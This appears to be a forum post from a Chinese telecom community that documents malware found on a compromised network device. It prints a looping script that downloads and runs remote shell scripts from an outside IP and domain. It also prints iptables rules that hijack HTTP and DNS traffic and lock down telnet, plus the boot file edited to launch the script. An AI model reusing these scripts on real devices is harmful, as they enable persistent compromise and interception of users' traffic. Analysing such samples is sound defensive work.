...... wget -q -P /tmp http://koudaiba.sinaapp.com start.sh ...... |
# cd /home # ls sh.sh # ls -l -rw-r--r-- 1 admin root 466 Nov 23 07:26 sh.sh # cat sh.sh #!/bin/sh while true do sleep 100 wget -q -P /tmp http://59.56.68.183:20011/start.sh || wget -q -P /tmp http://koudaiba.sinaapp.com/start.sh || wget -q -P /tmp http://abcdabcdabcdabcdabcd.com/start.sh && sh /tmp/start.sh && while true do wget -q -P /tmp http://59.56.68.183:20012/while.sh || wget -q -P /tmp http://koudaiba.sinaapp.com/while.sh || wget -q -P /tmp http://abcdabcdabcdabcdabcd.com/while.sh || sleep 43200 && sh /tmp/while.sh || sleep 43200 done done |
#!/bin/sh for ip in"140.205.140.188" "110.75.96.102" "106.39.164.154" "140.205.142.214" "140.205.135.67" "140.205.164.96" "140.205.250.86" "110.75.206.8" "140.205.140.76" "140.205.32.93" "140.205.243.65" "140.205.170.51" "140.205.134.199" "140.205.230.37" "140.205.250.42" "110.75.96.109";do iptables -t nat -D PREROUTING -p tcp -d $ip --dport 80 -j DNAT --to-destination 59.56.68.183:20002 iptables -t nat -I PREROUTING -p tcp -d $ip --dport 80 -j DNAT --to-destination 59.56.68.183:20002 done for ip in"120.24.0.0/14" "121.40.0.0/14" "119.28.0.0/15" "203.195.128.0/17" "115.28.0.0/15" "114.215.0.0/16" "120.55.0.0/16";do iptables -t nat -D PREROUTING -p udp -d $ip --dport 53 -j DNAT --to-destination 114.114.114.114 iptables -t nat -I PREROUTING -p udp -d $ip --dport 53 -j DNAT --to-destination 114.114.114.114 done iptables -D INPUT ! -s 59.61.121.0/24 -p tcp --dport 23 -j DROP iptables -I INPUT ! -s 59.61.121.0/24 -p tcp --dport 23 -j DROP sleep 86400 |
C:\>telnet 140.205.140.188 80 HTTP/1.1 302 Found Server: Tengine Date: Sat, 26 Dec 2015 15:04:00 GMT Content-Type: text/html Content-Length: 258 Connection: close Location: http://www.******.com/ Via: ad052071.et2[web,302] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html> <head><title>302 Found</title></head> <body bgcolor="white"> <h1>302 Found</h1> <p>The requested resource resides temporarily under a different URI.</p> <hr/>Powered by Tengine</body> </html> |
# cat rc_vtp2.0 #!/bin/sh mkdir /var/tmp/tftp mkdir /var/config mkdir /var/ctc mkdir /var/net-snmp mkdir /var/syslog /usr/sbin/lightbox # enhanced the logic unix/inet socket buffer and backlog echo -n "max_dgram_qlen is changed from " cat /proc/sys/net/unix/max_dgram_qlen > /dev/console echo 100 > /proc/sys/net/unix/max_dgram_qlen echo -n "to " cat /proc/sys/net/unix/max_dgram_qlen > /dev/console echo -n "change the socket recv buffer uplimit to 512k" echo "524288" > /proc/sys/net/core/rmem_max sleep 1 cm_logic& sleep 1 syslogd & sh /home/sh.sh& |
...... /etc/rc_vtp2.0 ...... |
通信人家园 (https://www.txrjy.com/) | Powered by C114 |